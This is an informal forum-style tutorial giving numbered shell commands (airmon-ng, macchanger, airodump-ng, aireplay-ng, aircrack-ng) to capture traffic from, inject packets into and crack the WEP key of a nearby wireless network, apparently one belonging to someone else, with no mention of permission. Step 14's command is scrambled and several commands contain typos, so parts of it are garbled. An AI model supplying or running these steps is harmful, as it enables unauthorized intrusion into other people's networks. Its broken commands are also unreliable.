Wi-Fi Network Cracking !

Hi Guys....This tutorial will explain that how to crack wep key using Backtrack..!!

Step 1:- First Download Backtrack from the following link:
Click Here & Downlodad

Step 2:- Burn the iso image on CD and boot your laptop from CD drive
Step 3:-
Select the third boot option(VESA/KDE).

Step 4:- Once in BT3, click the
tiny black box in the lower left corner to load up a
"Konsole" window.

Step 5:- Type the following command..

airmon-ng

Note down the
interface name. In this example wifi0

Step 6:- airmon-ng stop wifi0

Step 7:-
ifconfig wifi0 down

Step 8:-
macchanger --mac
00:11:22:33:44:66 wifi0

Step 9:-
airmon-ng start wifi0
Step 10:-
airodump-ng wifi0

This will start populating Wifi
networks. Press Ctrl + C to stop.

Check the network with WEP encryption..

Notedown BSSID, CH and ESSID somewhere
in notepad or paper..
Note that if the same BSSID is available in the
second part with
STATION associated with it,
means you some one is accessing that network
and our task will be little easier.

If not than don’t worry we will still crack it..

Step 11:-
airodump-ng -c
(channel) -w (file name) Replace
(channel) with the CH which u had already n (file name) with any
name of your choice (bssid) with the BSSID..which u had already note
--bssid (bssid) wifi0

Note it..Leave this console as it
is and start new
konsole
Step 12:- aireplay-ng -1 0 -a (bssid) -h00:11:22:33:44:66 wifi0

If you don’t get
Association Successful mesage then keep on trying until
you got success.
Step 13:-
wireplay-ng -3 -b (bssid)-h 00:11:22:33:44:66
wifi0

Well if you don’t see ARP ACK and sent packets are not increasing or still 0 than it means no 1 is
accessing that
network..But don’t worry you go an optional step, Leave this console as it
is and start new k

Step 14:- aireplay-ng -2 –p 0841 –
c FF:FF:FF:FF:FF:FF
konsole message than keep on
trying until you get success
got an optional step konsole
–b (bssid) –h
00:11:22:33:44:66 wfi0
Press y and enter
Now you will see that ARP and ACK packets in
2nd console are
increasing fast
Keep this console as it is and start 4th console.

Step 15:-
aircrack-ng -b (bssid) (filename)-
Just wait and
watch…..Backtrack will do rest of the work..

Hurray we got the key..
Done..!!
